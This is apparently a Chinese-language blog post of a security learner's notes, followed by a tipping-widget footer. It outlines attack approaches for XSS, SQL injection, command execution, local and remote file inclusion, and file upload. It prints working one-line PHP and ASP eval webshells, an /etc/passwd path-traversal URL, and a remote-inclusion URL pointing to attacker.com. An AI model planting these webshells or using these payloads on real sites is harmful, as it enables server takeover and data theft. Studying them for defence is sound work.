潜在漏洞与攻击思路——土豆片的网安之路

1.XSS

开始之前解释一下钓鱼: 诱使受害者输入自己的账号和密码信息,点击登录后域名跳转到真正的官网,然后受害者再输一遍账号和密码

攻击思路:

  1. XSS盲打: 如果目标网站存在 XSS 的话且没有 httponly 防御 cookie 那么就可以直接盲打 XSS。首先准备一个 XSS 靶场,生成XSS payload然后在其他人的钓鱼网站登录后面加上XSS payload,可以实现钓鱼反被钓的操作.在XSS靶场得到cookie
  2. SET钓鱼: 假设目标网站存在 httppnly 的话,我们拿到的 cookie 信息也是不完整的,所以我们可以使用 Kali Linux 里面的 set 社工工程学工具包来进行钓鱼,创建一个假的网站,生成XSS payload,跳转到假网站,这样钓鱼哥输入我们给他的账号密码,自己就会被反钓鱼.

2.SQL注入 (油尽灯枯的时候可以试试)

原理: web应用 传递sql语句到 后台数据库

总体思路: 找到 防御薄弱的边缘资产 进行 恶意sql语句 传递给数据库, 获得敏感数据 ,甚至 获得对方数据库访问权限 .

以下这些情况可能会想到使用sql注入

  1. 看到一个应用程序在构建SQL语句时直接使用了用户的输入数据 [说明没有过滤sql危险的语句]
  2. 一个网站在处理数据库请求失败时返回详细的错误信息 [根据详细的信息,可以使sql注入有线索]
  3. 边缘资产可能安全措施相对弱一些,sql注入有概率成功 [这就是信息搜集边缘资产的作用]
  4. 修改敏感数据的功能(如更改密码、转账等)不需要额外的身份验证或者权限检查 [sql注入点]
  5. 一些页面[登录页面,搜索页面等,可能存在sql注入]

攻击思路:

  1. 判断注入点: GET,POST,COOKIE,REFERER,XFF,UA等位置插入注入语句,看看是否产生影响,如果产生则说明该位置为注入点
  2. 绕过认证: 成功注入进去,如果没有则根据错误信息进一步深入直到成功
  3. 枚举数据库类型: 注入成功,开始查询数据库版本、表名、列名等。例如,使用 UNION SELECT 查询来枚举数据
  4. 数据提取: 获取了足够的信息之后,攻击者可以开始从数据库中提取数据。这可以通过构造更复杂的SQL查询来实现,例如通过 UNION SELECT 或 OUTER JOIN 来获取敏感信息
  5. 修改/删除数据: 如果权限足够,攻击者不仅能够读取数据,还可以修改或删除数据。例如,更改管理员密码,或者删除某些记录。
  6. 利用高级的sql注入方法: 高级的攻击者可能还会利用如盲注(Blind SQL Injection)、错误利用(Error-based SQL Injection)等技术来进一步隐藏其活动或绕过防御措施。
  7. 持久化: 一旦获得了对数据库的访问权限,攻击者可能会尝试创建持久性的访问方式,以便在未来继续访问系统。

3.命令执行漏洞(要求熟悉操作系统指令)

原理: 攻击者写恶意系统命令应用程序

本人只会在 URL上命令执行

所以我的总体思路是: 找到 防御薄弱的边缘资产 进行 恶意命令 传递给目标应用程序, 获得敏感数据 ,或者通过应用程序执行远程服务器的任意命令 甚至获得对方服务器权限

往下延伸

远程命令执行(RCE):

原理: 攻击者写恶意系统命令 使目标应用程序执行远程服务器上的任意命令,完全接管服务器

本地命令执行:

原理: 攻击者在受影响的应用程序执行本地系统命令,导致攻击者获取敏感信息,修改系统配置或者执行其他恶意操作

Shell命令执行:

原理:攻击者通过注入恶意命令到受影响应用程序的命令行或者SHELL环境

提取攻击:

原理:通过执行恶意命令,攻击者可以利用漏洞提升其在系统中的权限,从而获取更大的访问权限

攻击思路:

(1)发现漏洞: 攻击者通常会寻找应用程序中的功能点,这些功能点允许用户提交数据,并且这些数据可能被用来执行系统命令。例如,搜索功能、文件上传功能等。

(2)测试环境: 利用已知的漏洞模式来测试应用程序是否容易受到命令执行攻击。例如,在命令行参数中加入特殊字符(如 ;, &, |)来查看应用程序的行为。

(3)命令注入: 当确认存在漏洞后,攻击者会尝试注入简单的命令来测试执行环境,比如 whoami, id, ls, dir 等,以获取关于系统的更多信息。

(4)提升权限: 如果初始命令执行成功,攻击者可能会尝试进一步的命令来提升其权限,例如通过利用系统配置文件中的漏洞或利用其他已知的漏洞。

(5)远程控制: 成功提升权限后,攻击者可能会安装后门程序或其他恶意软件,从而获得对系统的持续控制权。

(6)数据窃取: 持有系统控制权后,攻击者可以执行任意命令来窃取敏感信息,如数据库凭证、加密密钥、源代码等。

(7)横向移动: 在控制了一个主机后,攻击者可能会通过网络进一步渗透到其他相连的系统,扩大其控制范围。

4.文件包含漏洞(学会伪协议和命令执行)

本地文件包含(LFI)

原理: 攻击者能够包含并执行服务器上的本地文件

攻击思路:

(1)构造恶意请求: 攻击者通过修改URL参数、Cookie等输入方式,将恶意文件名传递给Web应用程序。

(2)目录遍历: 利用../等特殊字符,攻击者可以遍历服务器上的目录结构,访问并包含敏感文件,如配置文件、数据库文件等。

(3)执行恶意代码: 如果服务器配置不当,攻击者甚至可以包含并执行恶意代码文件,如PHP Shell等。

示例:假设一个Web应用程序存在LFI漏洞,攻击者可以通过构造URL http://example.com/page.php?file=../etc/passwd 来读取/etc/passwd文件

远程文件包含(RFI)

原理: 攻击者能够包含并执行远程服务器上的文件,这通常要求目标服务器配置了allow_url_include=On。

攻击思路:

(1)构造恶意URL:攻击者构造一个包含恶意代码的远程文件URL。

(2)包含远程文件:通过修改Web应用程序的输入参数,将远程文件的URL传递给include或require等函数。

(3)执行远程代码:如果目标服务器允许远程文件包含,并且未对远程文件的内容进行验证,那么远程文件中的恶意代码将被执行。

例子:构造URL http://example.com/page.php?file=http://attacker.com/malicious.php,如果目标服务器允许远程文件包含,那么malicious.php中的恶意代码将被执行。

5.文件上传漏洞

一句话木马:

PHP:<?php @eval($_POST[‘yuanshen’]);?>

ASP:  <%eval request(“yuanshen”)%>

asp闭合:"%><%eval request("yuanshen")%><%'

总体思路: 攻击者通过文件上传按钮上传 木马 后台

攻击思路:

(1)文件扩展名欺骗:攻击者可能会更改文件扩展名,使其看起来像一个安全的文件类型(例如图片)。当服务器仅依赖于文件扩展名来判断文件类型时,就可能允许上传并执行恶意脚本。

(2)MIME类型欺骗:类似于文件扩展名欺骗,攻击者也可以修改HTTP请求中的Content-Type头,使服务器误认为上传的是安全类型的文件。

(3)文件路径遍历:通过构造特殊的文件路径(如../../../../etc/passwd),攻击者尝试绕过上传脚本的限制,将文件保存到非预期的位置,甚至覆盖重要的系统文件。

(4)大小限制绕过:如果应用程序没有正确检查文件大小,攻击者可以上传过大文件,消耗服务器资源或突破存储限制。

(5)利用服务器配置漏洞:如果服务器配置不当,上传的文件可能会被解释为可执行的脚本或程序,从而导致远程代码执行的风险。

(6)后门文件上传:攻击者上传看似无害但实际上包含后门的文件,等待时机成熟后再利用这些后门进一步渗透系统。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

bluechips·zhao

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值